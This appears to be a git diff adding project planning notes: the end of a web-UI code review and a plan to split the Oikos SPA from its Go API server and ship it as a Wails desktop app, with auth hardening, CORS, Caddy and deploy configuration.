10. **C2 (a11y lint enforcement)** — checked: `web/` has no ESLint config and
|
||||
no `lint`/`check` npm script at all (confirmed via `package.json` and
|
||||
directory listing). The "a11y warnings" referenced in earlier session
|
||||
notes were editor/IDE diagnostics, not a CI gate. There's nothing to
|
||||
promote from warn to error because no lint infrastructure exists —
|
||||
setting one up is a separate, larger decision (which rules, whether to
|
||||
also add `svelte-check` for types) that wasn't part of this review's
|
||||
scope. Not done; flagging for a separate decision rather than silently
|
||||
bootstrapping tooling.
|
||||
|
||||
## Implementation notes (2026-07-11)
|
||||
|
||||
- C1, B1, B3, A1, A3, D1, D2, B2, B4, A2 all implemented and verified live
|
||||
in the browser preview against the running stack (see Verification below).
|
||||
- A1: standardized on `EntitySheet` per the plan's recommendation —
|
||||
`Knowledge.svelte` and `Graph.svelte`'s "View entity detail" now open the
|
||||
sheet instead of hash-navigating to the orphaned `#/entity/:slug` route.
|
||||
The full-page `EntityDetail` route/component was left in place (not
|
||||
deleted) as a harmless deep-link fallback — nothing internal navigates to
|
||||
it anymore, but a bookmarked/shared URL still resolves.
|
||||
- B4: used the `dompurify` package, already a `dependencies` entry in
|
||||
`web/package.json` (unused until now) — no new dependency added.
|
||||
- B2: added a small `debounce()` helper to `web/src/lib/utils.ts` and
|
||||
switched Audit/Agent/Events' filter inputs from `onchange` (blur-only) to
|
||||
debounced `oninput`.
|
||||
- **Found during verification, not in the original fix list:** the
|
||||
Knowledge page's search never actually renders results (the "Clear"
|
||||
button appears, confirming `searched` flips to `true`, but the content
|
||||
area stays on the "Recently learned" branch) despite the backend request
|
||||
succeeding with real data. Confirmed via `git diff` this isn't caused by
|
||||
anything touched here. Spun off as a separate follow-up rather than fixed
|
||||
in this pass, since it's unrelated to any finding in this review.
|
||||
|
||||
## Verification
|
||||
|
||||
- After each interaction fix (C1, B1, A3): manual keyboard-only pass (Tab +
|
||||
Enter/Space, no mouse) through the affected page in the browser preview.
|
||||
- After B3: type a filter query in Entities with mixed case against a
|
||||
known-mixed-case entity name; confirm it now matches.
|
||||
- After A1: confirm both entry paths (Entities row click, Knowledge search
|
||||
hit's linked entity, Graph node's "View entity detail") land on the same
|
||||
UI pattern; confirm sidebar/header state is coherent from whichever page
|
||||
the user started on.
|
||||
- `cd web && npm run lint && npm run check` clean after all fixes.
|
||||
- Visual: `npm run build` + spot-check each changed page in the browser
|
||||
preview (light pass, not full regression).
|
||||
|
||||
## Open questions
|
||||
|
||||
- **A1's resolution direction** (sheet vs. full-page route) is a genuine
|
||||
product call, not just a bug fix — needs a decision before implementing,
|
||||
not just "proceed." Recommendation given above (standardize on the
|
||||
sheet), but flagging it explicitly since it changes user-visible behavior
|
||||
for Knowledge and Graph, not just Entities.
|
||||
- Whether to promote a11y lint rules from warn to error (C2) is a policy
|
||||
call for the repo, worth a one-line "yes/no" rather than silently doing
|
||||
it.
|
||||
829
plans/done/2026-07-12-wails-desktop-app.md
Normal file
829
plans/done/2026-07-12-wails-desktop-app.md
Normal file
@@ -0,0 +1,829 @@
|
||||
# 2026-07-12 — Wails desktop application
|
||||
|
||||
**Status:** Done — Phases 0.0–0.6 deployed to production (mac-mini, commit
|
||||
`0c0f35a`, 2026-07-12). Phases 1.0–1.4 implemented (commit `5d6d9e9`,
|
||||
2026-07-13) — pushed to main.
|
||||
|
||||
**Production deploy (2026-07-12):** merged to `main`, picked up by the
|
||||
2-minute deploy poller (`scripts/deploy.sh`: pg_dump backup → rebuild →
|
||||
rolling restart → health check), `healthy after 1s`. Verified post-deploy:
|
||||
unauthenticated `/api/v1/*` now 401s (the dev-open bypass was live in
|
||||
production before this — `OIKOS_ENV=dev` with no token set — so this closed
|
||||
a real, currently-exploitable hole, not just future prep); `/healthz` stayed
|
||||
open; nomos reconnected its MCP session with the new
|
||||
`OIKOS_MCP_BEARER_TOKEN` and a real tool call round-tripped end to end
|
||||
(`get_health_summary` via `/query`). A real random token was generated and
|
||||
added to mac-mini's `.env` (not committed — gitignored) before deploy, so
|
||||
the `${OIKOS_MCP_BEARER_TOKEN:-dev-token}` fallback in `docker-compose.yml`
|
||||
never activated with the weak literal default.
|
||||
|
||||
**Deliberately not done as part of this deploy** (out of scope — a different
|
||||
host/repo than "mac-mini", not touched): the Caddy LXC (121) and
|
||||
`dtoro/caddy-conf`. Checked the real production Caddyfile directly — there is
|
||||
**no `oikos.hubris.network` site block at all yet**, so the Authentik-bypass
|
||||
risk (gap 1 below) doesn't apply yet; there's no public UI exposed to break.
|
||||
`mcp.hubris.network` exists but still reverse-proxies to the old
|
||||
pre-consolidation service on LXC 105 (`192.168.8.205:9810`), unrelated to
|
||||
this stack — stale, but pre-existing and out of scope here. Exposing
|
||||
`oikos.hubris.network` publicly (with the `@api` bypass this plan's
|
||||
Caddyfile.oikos reference copy already has) is unstarted follow-up work, not
|
||||
a regression from this deploy.
|
||||
|
||||
## Plan review — gaps found before starting Phase 0
|
||||
|
||||
Reviewed against the current codebase and the live Caddy topology
|
||||
(`compose/caddy/Caddyfile.oikos`) before writing any code. Six gaps, each
|
||||
with the resolution taken:
|
||||
|
||||
1. **Authentik forward-auth vs. bearer-token clients.** The deployed
|
||||
`oikos.hubris.network` site gates every route (including `/agent/*` and,
|
||||
after this plan, `/api/v1/*`) with `import authentik` — a browser-session
|
||||
forward-auth check, not a header a non-browser client can supply. Closing
|
||||
the dev-open gate (0.4) makes every API route require a bearer token, but
|
||||
says nothing about how a bearer-token client (Wails, curl, a future mobile
|
||||
client) gets past Authentik's login redirect in front of it. Same shape as
|
||||
the existing `@enroll` bypass for `/api/v1/clients/enroll`.
|
||||
**Resolution:** updated the reference copy
|
||||
([Caddyfile.oikos](compose/caddy/Caddyfile.oikos)) with an `@api path
|
||||
/api/v1/* /mcp /agent/*` bypass around `import authentik`, same pattern as
|
||||
`@enroll`, and moved static-SPA serving into the `handle {}` fallback
|
||||
(0.6). This repo's copy is not what's deployed — the real file lives in
|
||||
`dtoro/caddy-conf` and auto-deploys from there — so the equivalent change
|
||||
still needs to land there before a Wails client (or anything else that
|
||||
can't complete Authentik's browser login) can actually reach the API in
|
||||
production. Flagged explicitly as risk #6 below so it isn't discovered the
|
||||
hard way.
|
||||
2. **Nomos's own gateway (C1) is a parallel, unauthenticated path to the same
|
||||
backend.** [2026-07-11-nomos-agent-code-review.md](2026-07-11-nomos-agent-code-review.md)'s
|
||||
C1 finding — nomos's port 8092 has zero auth of its own — is still open.
|
||||
Phase 0.3's CORS/auth work only touches `internal/httpapi` (the `api`
|
||||
process); `cmd/nomos` is untouched. The architecture diagram in this plan
|
||||
shows Caddy's `handle_path /agent/*` proxying straight to `:8092`,
|
||||
bypassing `api`'s `combinedAuth` entirely and relying solely on Authentik.
|
||||
Closing the API's dev-open gate does nothing for this path — nomos's
|
||||
direct mesh-published port (`docker-compose.yml:133`) and
|
||||
`nomos.hubris.network` remain reachable with no credential check at all.
|
||||
**Resolution:** not fixed by this plan — flagged as a pre-existing,
|
||||
independent gap (already tracked as C1) that the Wails desktop app
|
||||
inherits rather than introduces. Added as risk #6 below so it isn't
|
||||
mistaken for something Phase 0 closes.
|
||||
3. **`github.com/go-chi/cors` isn't a dependency yet**, and the plan's sample
|
||||
CORS config (`AllowCredentials: true` with a default `"*"` origin) is
|
||||
spec-invalid — browsers and webviews reject a wildcard
|
||||
`Access-Control-Allow-Origin` when credentials are requested. This API
|
||||
authenticates via `Authorization: Bearer`, not cookies, so credentialed
|
||||
CORS mode isn't needed at all. **Resolution:** drop `AllowCredentials`
|
||||
from the middleware config in 0.3 rather than ship a setting that silently
|
||||
breaks the first time an origin other than `*` is configured.
|
||||
4. **Closing dev-open (0.4) breaks local `docker compose --profile dev up`
|
||||
out of the box** — none of the compose services currently set a token, and
|
||||
today they rely entirely on `OIKOS_ENV=dev` + devOpen. Worse: `cmd/nomos`
|
||||
itself is an unauthenticated client of `api`'s `/mcp` endpoint and
|
||||
`/api/v1/approvals/{id}/decision` (chat-assent approvals) —
|
||||
`grep -rn "Authorization" cmd/nomos/*.go` returned nothing before this
|
||||
fix. Closing dev-open without touching nomos would have broken nomos's own
|
||||
connection to the API, not just local dev ergonomics; this wasn't called
|
||||
out anywhere in the original plan text. **Resolution:** added a `token`
|
||||
field threaded through `mcpClient`/`mcpClientPool` and `agent.apiToken`,
|
||||
both reading `OIKOS_MCP_BEARER_TOKEN` (the same shared secret `api`
|
||||
already validates static tokens against) and sent as `Authorization:
|
||||
Bearer ...` on every request nomos makes to `api`. `docker-compose.yml`
|
||||
sets `OIKOS_MCP_BEARER_TOKEN` (default `dev-token`) on both the `api` and
|
||||
`nomos` services so local dev keeps working.
|
||||
5. **0.2's `const API = apiBase('/api/v1')` pattern bakes in a stale origin.**
|
||||
Module-level constants evaluate once, at import time — before
|
||||
`main.ts`'s `initConfig()` runs (ES module imports are hoisted ahead of a
|
||||
file's own top-level statements) and before `Config.svelte` or a
|
||||
Wails-injected `window.__OIKOS_CONFIG__` can set `apiUrl`. A first-launch
|
||||
Wails webview would resolve `API` to a relative path and try to fetch
|
||||
`wails://.../api/v1/...`, which doesn't exist. **Resolution:** `api.ts`
|
||||
keeps `BASE`/`API` as bare path prefixes (`/agent`, `/api/v1`, never
|
||||
resolved to a URL) and lets `fetchWithAuth` call `apiBase()` fresh on
|
||||
every request — the same fix pattern as gap 4's SSE snippet: resolve at
|
||||
call time, not at module-load time.
|
||||
6. **`api`'s own `/agent` reverse-proxy mount (to nomos) was never behind
|
||||
`combinedAuth` — found while auditing every route for the dev-open
|
||||
removal.** [server.go](../internal/httpapi/server.go)'s
|
||||
`r.Mount("/agent", ...)` was registered directly on the base router,
|
||||
unlike every other custom route (`/mcp`, `/api/v1/knowledge/recent`,
|
||||
etc.), which all use `r.With(combinedAuth(cfg, false))`. Harmless while
|
||||
dev-open made the whole API open anyway; a real hole the moment 0.4 closes
|
||||
it — any request to `api`'s `/agent/*` would reach nomos with no
|
||||
credential check at all, independent of C1 (nomos's *own* gateway on
|
||||
:8092, still open) and independent of gap 1 (Caddy/Authentik). **Resolution:**
|
||||
wrapped the mount in `combinedAuth(cfg, false)`, matching every other
|
||||
route.
|
||||
|
||||
Also: 0.4's local-dev token delivery ended up simpler than described —
|
||||
"Vite injects it into `window.__OIKOS_CONFIG__` at dev time" isn't needed at
|
||||
all for the relative-path dev case. The Vite proxy (0.2) already injects
|
||||
`Authorization: Bearer $OIKOS_API_TOKEN` server-side on every proxied
|
||||
`/api`/`/agent` request, so relative-path fetches during `npm run dev` are
|
||||
authenticated before they leave the dev server — no client-side config
|
||||
needed. `window.__OIKOS_CONFIG__` injection is still exactly what Phase 1's
|
||||
Wails shell needs (absolute URL, no dev proxy to lean on).
|
||||
|
||||
Also: 0.3's SSE-auth snippet checks `GetActor(r.Context()) == nil` *inside*
|
||||
`serveSSE` and validates the query token there — but `serveSSE` only runs
|
||||
after `combinedAuth` has already accepted or rejected the request, and
|
||||
`combinedAuth` requires a header today, so `EventSource` requests (no custom
|
||||
headers) never reach `serveSSE` at all; they 401 in the middleware first.
|
||||
**Actual implementation:** `combinedAuth` itself takes an `allowQueryToken
|
||||
bool`; when set (only for the `/api/v1/events/stream` route) it falls back to
|
||||
`?token=` when the `Authorization` header is absent, before running the same
|
||||
OIDC/static validation as every other route. This reuses all existing auth
|
||||
logic instead of duplicating a static-token-only path inside `serveSSE`, and
|
||||
keeps the gate at the middleware layer rather than half-open inside the
|
||||
handler. The static-token comparison itself was extracted into
|
||||
`staticTokenActor(cfg, raw)`, shared between the header and query-param
|
||||
paths.
|
||||
|
||||
## Goal
|
||||
|
||||
Transform the Oikos control room into a native desktop application using
|
||||
[Wails](https://wails.io), built on top of a clean client/server split. The
|
||||
server (API, MCP, scheduler, notifier, Nomos) stays on the homelab as a
|
||||
long-running service. The client (SPA) is separated from the server binary and
|
||||
deployed independently — any browser talks to the server over HTTP. The Wails
|
||||
app is a thin native client: it loads the same SPA in a webview, configured
|
||||
with the server URL and auth token, and adds system tray, native notifications,
|
||||
auto-start, and auto-update.
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────┐
|
||||
│ Server (homelab, permanent) │
|
||||
│ │
|
||||
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
|
||||
│ │ oikos api │ │ oikos sched │ │ oikos notif │ │
|
||||
│ │ :8090 │ │ (observe) │ │ (Matrix) │ │
|
||||
│ │ REST + SSE │ └──────────────┘ └──────────────┘ │
|
||||
│ │ MCP /mcp │ │
|
||||
│ └──────┬───────┘ ┌──────────────┐ │
|
||||
│ │ │ nomos serve │ │
|
||||
│ ├──────────┤ :8092 │ │
|
||||
│ │ MCP │ /agent/* │ │
|
||||
│ │ └──────┬───────┘ │
|
||||
│ │ │ │
|
||||
│ └────────┬────────┘ │
|
||||
│ ┌──────▼──────┐ │
|
||||
│ │ Postgres │ │
|
||||
│ └─────────────┘ │
|
||||
│ │
|
||||
│ Caddy: /api/* → :8090 /agent/* → :8092 /mcp → :8090 │
|
||||
│ / → static SPA (web/dist/) │
|
||||
└───────────────────────┬────────────────────────────────────┘
|
||||
│ HTTPS (bearer auth or OIDC)
|
||||
┌───────────────┼───────────────┐
|
||||
│ │ │
|
||||
┌───────▼──────┐ ┌──────▼──────┐ ┌──────▼──────┐
|
||||
│ Browser │ │ Wails app │ │ CLI/mobile │
|
||||
│ (SPA at /) │ │ (SPA in │ │ (future) │
|
||||
│ │ │ webview) │ │ │
|
||||
└──────────────┘ └─────────────┘ └─────────────┘
|
||||
```
|
||||
|
||||
### Server
|
||||
|
||||
The existing server roles (`oikos api`, `oikos scheduler`, `oikos notifier`,
|
||||
`nomos serve`, Postgres) run on the homelab mac-mini as systemd services —
|
||||
unchanged. The SPA is no longer embedded in the `oikos` binary; it's a
|
||||
standalone static build served by Caddy at `/`. The API routes (`/api/v1/*`,
|
||||
`/mcp`, `/healthz`) don't conflict with root, and the old root redirect is
|
||||
removed, so no path prefix is needed.
|
||||
|
||||
### Clients
|
||||
|
||||
Any HTTP client that speaks the REST API + bearer auth. The SPA is the
|
||||
canonical client, deployed as static files. The Wails app wraps the same SPA
|
||||
in a native webview. Future clients (CLI, mobile) use the same API.
|
||||
|
||||
---
|
||||
|
||||
## Stack
|
||||
|
||||
**Server:** existing Go code in `internal/` — no changes. `cmd/oikos` removes
|
||||
the SPA embed and `/ui/*` routes. Caddy serves `web/dist/` at `/` with SPA
|
||||
fallback.
|
||||
|
||||
**SPA:** existing Svelte 5 + Vite + Tailwind 4 + shadcn-svelte in `web/`.
|
||||
API base URL and auth token become runtime-configurable. `base: '/'` — no
|
||||
path prefix needed since the SPA is served at root.
|
||||
|
||||
**Desktop:** Wails v3 (Go + webview). The Wails app is a thin shell:
|
||||
- Embeds the SPA as static assets (Wails's `go:embed`-based asset system)
|
||||
- Reads server URL + token from OS keychain at startup, injects into webview
|
||||
- SPA talks to the remote server over HTTPS — same as the browser
|
||||
- No Go backend, no Postgres connection, no bundled sidecars
|
||||
- Native shell: system tray, notifications, auto-start, auto-update,
|
||||
window persistence
|
||||
|
||||
---
|
||||
|
||||
## Phase 0 — Client/server split
|
||||
|
||||
This phase separates the SPA from the `oikos` binary and makes it a
|
||||
standalone client. The Wails app depends on this split being done first.
|
||||
|
||||
### 0.1 — Remove SPA embed from the server
|
||||
|
||||
- **Delete `web/embed.go`** — the server no longer embeds `web/dist/`.
|
||||
- **`cmd/oikos/main.go`** — remove `uiHandler()` (~35 lines). The
|
||||
`httpapi.ListenAndServe()` signature no longer takes a `uiHandler` param;
|
||||
pass `nil` and handle nil in `server.go`.
|
||||
- **`internal/httpapi/server.go`** — remove the `/ui/*` and `/ui` routes
|
||||
(~15 lines at `server.go:175-182`), and the root redirect to `/ui/`
|
||||
(`server.go:183-185`).
|
||||
- **`web/dist/.gitkeep`** — delete (no longer needed to keep backend-only
|
||||
builds green).
|
||||
- **Dockerfile** — remove the node/ui-builder stage and `COPY --from=` of
|
||||
`web/dist/`. The 3-stage Dockerfile (node → go → runtime) becomes a
|
||||
2-stage build (go → runtime). ~20 lines deleted.
|
||||
|
||||
~80 lines deleted. The `oikos api` binary is now API-only: REST, SSE, MCP,
|
||||
healthz.
|
||||
|
||||
### 0.2 — Make SPA API base URL configurable and add auth interceptor
|
||||
|
||||
The SPA currently hardcodes relative paths and has no auth headers:
|
||||
```ts
|
||||
// web/src/lib/api.ts
|
||||
const BASE = '/agent'
|
||||
const API = '/api/v1'
|
||||
```
|
||||
|
||||
Replace with a runtime-configuration module (`web/src/lib/config.ts`):
|
||||
|
||||
```ts
|
||||
// web/src/lib/config.ts
|
||||
|
||||
interface OikosConfig {
|
||||
apiUrl: string // e.g. "https://oikos.hubris.network"
|
||||
token?: string // bearer token for auth
|
||||
}
|
||||
|
||||
declare global {
|
||||
interface Window {
|
||||
__OIKOS_CONFIG__?: OikosConfig
|
||||
}
|
||||
}
|
||||
|
||||
let cfg: OikosConfig | undefined
|
||||
|
||||
export function initConfig(override?: OikosConfig) {
|
||||
cfg = override ?? window.__OIKOS_CONFIG__
|
||||
if (cfg?.token) {
|
||||
localStorage.setItem('oikos_token', cfg.token)
|
||||
if (cfg.apiUrl) localStorage.setItem('oikos_api_url', cfg.apiUrl)
|
||||
}
|
||||
}
|
||||
|
||||
export function getConfig(): OikosConfig {
|
||||
if (!cfg) {
|
||||
const token = localStorage.getItem('oikos_token')
|
||||
const apiUrl = localStorage.getItem('oikos_api_url')
|
||||
if (token || apiUrl) {
|
||||
cfg = { apiUrl: apiUrl ?? '', token: token ?? undefined }
|
||||
}
|
||||
}
|
||||
return cfg ?? { apiUrl: '' }
|
||||
}
|
||||
|
||||
export function isConfigured(): boolean {
|
||||
const c = getConfig()
|
||||
return !!c.apiUrl && !!c.token
|
||||
}
|
||||
|
||||
// Relative paths are used in dev (Vite proxy) and when the SPA shares an
|
||||
// origin with the API server (Caddy reverse proxy). Absolute paths are used
|
||||
// when the API server is on a different origin (Wails webview, remote access).
|
||||
function apiBase(path: string): string {
|
||||
const c = getConfig()
|
||||
if (!c.apiUrl) return path // relative — relies on same-origin or Vite proxy
|
||||
return `${c.apiUrl}${path}`
|
||||
}
|
||||
|
||||
// ---- Auth fetch wrapper ----
|
||||
// Replaces every raw fetch() call in api.ts. Prepends the API base URL
|
||||
// (absolute when configured, relative when unset for Vite dev proxy) and
|
||||
// adds the Authorization header.
|
||||
|
||||
async function fetchWithAuth(path: string, opts?: RequestInit): Promise<Response> {
|
||||
const headers: Record<string, string> = {
|
||||
'Content-Type': 'application/json',
|
||||
...(opts?.headers as Record<string, string> ?? {}),
|
||||
}
|
||||
const c = getConfig()
|
||||
if (c.token) {
|
||||
headers['Authorization'] = `Bearer ${c.token}`
|
||||
}
|
||||
|
||||
return fetch(apiBase(path), { ...opts, headers })
|
||||
}
|
||||
|
||||
// SSE path builder — EventSource doesn't take headers, so pass the token
|
||||
// as a query parameter (the SSE handler in server.go checks it alongside
|
||||
// the Authorization header).
|
||||
export function sseUrl(path: string): string {
|
||||
const c = getConfig()
|
||||
const url = apiBase(path)
|
||||
if (!c.token) return url
|
||||
const sep = url.includes('?') ? '&' : '?'
|
||||
return `${url}${sep}token=${encodeURIComponent(c.token)}`
|
||||
}
|
||||
|
||||
// Export for api.ts to use throughout
|
||||
export { fetchWithAuth, apiBase }
|
||||
```
|
||||
|
||||
Then `web/src/lib/api.ts` — replace every `fetch(...)` call with
|
||||
`fetchWithAuth(...)`. Example:
|
||||
```ts
|
||||
// Before:
|
||||
// const res = await fetch(`${API}/entities?${params}`)
|
||||
// After:
|
||||
import { fetchWithAuth, apiBase } from './config'
|
||||
const API = apiBase('/api/v1')
|
||||
const BASE = apiBase('/agent')
|
||||
// ...
|
||||
const res = await fetchWithAuth(`/api/v1/entities?${params}`)
|
||||
```
|
||||
|
||||
**`web/src/lib/stores/events.ts`** — replace `new EventSource(...)` with
|
||||
`new EventSource(sseUrl(...))`:
|
||||
```ts
|
||||
import { sseUrl } from '$lib/config'
|
||||
|
||||
// Before:
|
||||
// source = new EventSource('/api/v1/events/stream')
|
||||
// After:
|
||||
source = new EventSource(sseUrl('/api/v1/events/stream'))
|
||||
```
|
||||
|
||||
**`web/src/lib/stores/chat.ts`** — the chat SSE is POST + ReadableStream via
|
||||
`fetch()`, which already goes through `streamChat` in `api.ts`. When the plan
|
||||
says "replace every fetch(...) call", `streamChat` is included — the POST to
|
||||
`/agent/chat` becomes `fetchWithAuth('/agent/chat', ...)`.
|
||||
|
||||
**`web/src/lib/stores/context.ts`** — `refreshContext()` calls
|
||||
`fetchDashboardSummary()` and `fetchApprovals()` from `api.ts`. Those
|
||||
already go through `fetchWithAuth`. No change needed here.
|
||||
|
||||
**`web/src/lib/stores/workspace.ts`** — calls `fetchPlan()` and
|
||||
`fetchQuestions()` from `api.ts`. No change needed.
|
||||
|
||||
**`web/src/main.ts`** — call `initConfig()` before mounting the app:
|
||||
```ts
|
||||
import { initConfig, isConfigured } from '$lib/config'
|
||||
|
||||
initConfig()
|
||||
|
||||
const app = mount(isConfigured() ? App : Setup, {
|
||||
target: document.getElementById('app')!
|
||||
})
|
||||
export default app
|
||||
```
|
||||
|
||||
This is the single largest frontend change: ~40 `fetch()` calls spread across
|
||||
`api.ts` (all routes), `stores/events.ts` (EventSource), and the chat stream.
|
||||
Each gets replaced with `fetchWithAuth()` or `sseUrl()`.
|
||||
|
||||
**`web/vite.config.ts`** — `base: '/'` (remove `/ui/` prefix, since the SPA
|
||||
is served at root after the split). The dev proxy stays — same origin in dev
|
||||
means relative paths work. After 0.4 closes the dev-open auth gate, inject
|
||||
the token via a `configure` hook:
|
||||
|
||||
```ts
|
||||
import { svelte } from '@sveltejs/vite-plugin-svelte'
|
||||
import tailwindcss from '@tailwindcss/vite'
|
||||
import { defineConfig } from 'vite'
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [tailwindcss(), svelte()],
|
||||
base: '/',
|
||||
resolve: {
|
||||
alias: { $lib: '/src/lib' }
|
||||
},
|
||||
build: {
|
||||
outDir: 'dist',
|
||||
emptyOutDir: true
|
||||
},
|
||||
server: {
|
||||
proxy: {
|
||||
'/api': {
|
||||
target: 'http://localhost:8090',
|
||||
configure: (proxy) => {
|
||||
proxy.on('proxyReq', (proxyReq) => {
|
||||
const token = process.env.OIKOS_API_TOKEN
|
||||
if (token) proxyReq.setHeader('Authorization', `Bearer ${token}`)
|
||||
})
|
||||
}
|
||||
},
|
||||
'/agent': {
|
||||
target: 'http://localhost:8092',
|
||||
rewrite: (path) => path.replace(/^\/agent/, ''),
|
||||
configure: (proxy) => {
|
||||
proxy.on('proxyReq', (proxyReq) => {
|
||||
const token = process.env.OIKOS_API_TOKEN
|
||||
if (token) proxyReq.setHeader('Authorization', `Bearer ${token}`)
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
```
|
||||
|
||||
### 0.3 — Add SSE query-param auth and CORS to the API server
|
||||
|
||||
**SSE auth.** The SSE handler at `/api/v1/events/stream` currently relies on
|
||||
`combinedAuth` middleware for bearer token validation. `EventSource` can't
|
||||
send custom headers, so the SPA passes the token as a query param
|
||||
(`?token=...`). The SSE handler needs to extract and validate it.
|
||||
|
||||
**`internal/httpapi/sse.go`** — in `serveSSE`, before using the context's
|
||||
actor, check for a query-param token:
|
||||
```go
|
||||
func (s *Server) serveSSE(w http.ResponseWriter, r *http.Request) {
|
||||
// If combinedAuth didn't set an actor (no Authorization header —
|
||||
// EventSource can't send one), try the query param.
|
||||
if GetActor(r.Context()) == nil {
|
||||
token := r.URL.Query().Get("token")
|
||||
if token != "" {
|
||||
validateStaticToken(s.cfg, r, token)
|
||||
}
|
||||
}
|
||||
// ... rest of SSE handler
|
||||
}
|
||||
```
|
||||
|
||||
Extract the static-token validation from `combinedAuth` into a shared helper
|
||||
so both the middleware and the SSE handler use the same logic.
|
||||
|
||||
**CORS middleware.** Add CORS to the chi router. This is needed for Wails
|
||||
(webview origin differs from the remote server) and local dev (Vite on
|
||||
`:5173` vs server on `:8090`). For the browser production deployment (Caddy
|
||||
serves both SPA and API from the same origin), it's a no-op.
|
||||
|
||||
**`internal/httpapi/server.go`** — add before the auth middleware:
|
||||
```go
|
||||
r.Use(cors.Handler(cors.Options{
|
||||
AllowedOrigins: []string{cfg.CORSAllowedOrigin},
|
||||
AllowedMethods: []string{"GET", "POST", "PATCH", "DELETE", "OPTIONS"},
|
||||
AllowedHeaders: []string{"Authorization", "Content-Type", "If-Match"},
|
||||
AllowCredentials: true,
|
||||
MaxAge: 86400,
|
||||
}))
|
||||
```
|
||||
|
||||
**`internal/config/config.go`** — add `CORSAllowedOrigin string`, populated
|
||||
from `OIKOS_CORS_ORIGIN`. Default: `"*"` in dev, the Caddy site URL in prod.
|
||||
|
||||
~30 lines added.
|
||||
|
||||
### 0.4 — Auth: close the dev-open gate
|
||||
|
||||
Currently `combinedAuth` opens the gate when `OIKOS_ENV=dev` and no tokens
|
||||
are set (`server.go:228`). After the split, a client from any origin can hit
|
||||
the API — the dev-open path is a security hole.
|
||||
|
||||
- **Remove the `devOpen` path** from `combinedAuth` — every request must
|
||||
carry a valid bearer token (via `Authorization` header or `?token=` query
|
||||
param for SSE).
|
||||
- **For local dev:** set `OIKOS_API_TOKEN=dev-token` and the SPA reads it
|
||||
from `OIKOS_API_TOKEN` env var (Vite injects it into
|
||||
`window.__OIKOS_CONFIG__` at dev time, and the Vite proxy forwards it).
|
||||
- **Browser (production):** the SPA's `Config.svelte` page accepts a static
|
||||
token (stored in `localStorage`). OIDC login flows are a follow-on
|
||||
milestone.
|
||||
- **Desktop (production):** the Wails app reads the token from the OS
|
||||
keychain and injects it into `window.__OIKOS_CONFIG__` before the webview
|
||||
loads.
|
||||
|
||||
### 0.5 — SPA config page (first-launch / setup)
|
||||
|
||||
The SPA needs a page for entering the server URL and auth token on first
|
||||
launch. This page also serves as the foundation for future OIDC login.
|
||||
|
||||
New file `web/src/pages/Config.svelte`:
|
||||
- Two fields: "Server URL" (text input) and "Token" (password input)
|
||||
- "Connect" button: calls `fetchWithAuth('/api/v1/dashboard/summary')` to
|
||||
validate, stores in `localStorage` on success, calls `initConfig()` to
|
||||
refresh runtime config, navigates to `#/overview`
|
||||
- Tabs placeholder for future OIDC flow: "Token", "Login with Authentik"
|
||||
(the second tab is disabled with "coming soon")
|
||||
- Error state: connection failed, wrong token, server unreachable
|
||||
|
||||
`web/src/App.svelte` — check `isConfigured()` at mount. If false, render
|
||||
`Config.svelte` instead of the sidebar. On successful config, transition to
|
||||
the full app.
|
||||
|
||||
`web/src/main.ts` — simplify to always mount `App.svelte` (the config check
|
||||
lives in App.svelte's mount hook, not in main.ts):
|
||||
|
||||
```ts
|
||||
import { mount } from 'svelte'
|
||||
import App from './App.svelte'
|
||||
import './app.css'
|
||||
import { initConfig } from '$lib/config'
|
||||
|
||||
initConfig()
|
||||
mount(App, { target: document.getElementById('app')! })
|
||||
```
|
||||
|
||||
### 0.6 — Deploy SPA as standalone static files
|
||||
|
||||
The SPA is built with `base: '/'` and served by Caddy at `/` with SPA
|
||||
fallback. API routes take priority (explicit `handle_path` blocks in Caddy).
|
||||
|
||||
**Caddy config** (add to the existing `compose/caddy/Caddyfile.oikos`):
|
||||
```
|
||||
handle {
|
||||
root * /var/www/oikos-ui
|
||||
file_server
|
||||
try_files {path} /index.html
|
||||
}
|
||||
```
|
||||
|
||||
The `index.html` doesn't need a placeholder (`__OIKOS_API_URL__`) in the
|
||||
Caddy deployment case — the SPA and API share an origin, so relative paths
|
||||
work and `__OIKOS_CONFIG__` only needs `apiUrl` unset. The token is entered
|
||||
by the user on the Config page and stored in `localStorage`.
|
||||
|
||||
**Build + deploy:**
|
||||
```makefile
|
||||
ui: ## Build the SPA for standalone deployment
|
||||
cd web && npm run build
|
||||
|
||||
deploy-ui: ui ## Deploy SPA to the Caddy host
|
||||
scp -r web/dist/* mac-mini:/var/www/oikos-ui/
|
||||
ssh mac-mini sudo systemctl reload caddy
|
||||
```
|
||||
|
||||
**Dockerfile** (server image, no Node required):
|
||||
```dockerfile
|
||||
# Stage 1: Build Go binary
|
||||
FROM golang:1.26 AS builder
|
||||
WORKDIR /app
|
||||
COPY go.mod go.sum ./
|
||||
RUN go mod download
|
||||
COPY . .
|
||||
RUN go build -o oikos -tags timetzdata ./cmd/oikos
|
||||
|
||||
# Stage 2: Runtime
|
||||
FROM debian:bookworm-slim
|
||||
COPY --from=builder /app/oikos /usr/local/bin/oikos
|
||||
EXPOSE 8090
|
||||
ENTRYPOINT ["oikos"]
|
||||
```
|
||||
|
||||
Drops the node builder stage entirely. The UI is built and deployed
|
||||
separately.
|
||||
|
||||
### 0.7 — Verification
|
||||
|
||||
```
|
||||
# Server
|
||||
oikos api # API + SSE + MCP, no UI
|
||||
curl localhost:8090/healthz # {"status":"ok"}
|
||||
curl -H "Authorization: Bearer dev-token" \
|
||||
localhost:8090/api/v1/dashboard/summary # data
|
||||
|
||||
# SPA (dev)
|
||||
OIKOS_API_TOKEN=dev-token npm run dev # Vite at :5173, proxy to :8090
|
||||
open http://localhost:5173/ # Config page (enter URL + token)
|
||||
# → Overview with live data
|
||||
|
||||
# SPA (production test)
|
||||
cd web && npm run build
|
||||
caddy file-server -root dist --listen :3000 # serve SPA locally
|
||||
# Run oikos api separately, open http://localhost:3000,
|
||||
# enter apiUrl=http://localhost:8090 + token on Config page
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Phase 1 — Wails desktop app
|
||||
|
||||
Built on top of the split. The Wails app is a thin native wrapper around the
|
||||
same SPA, configured to talk to the deployed server over HTTPS. No bundled
|
||||
Go server, no Postgres connection, no nomos sidecar.
|
||||
|
||||
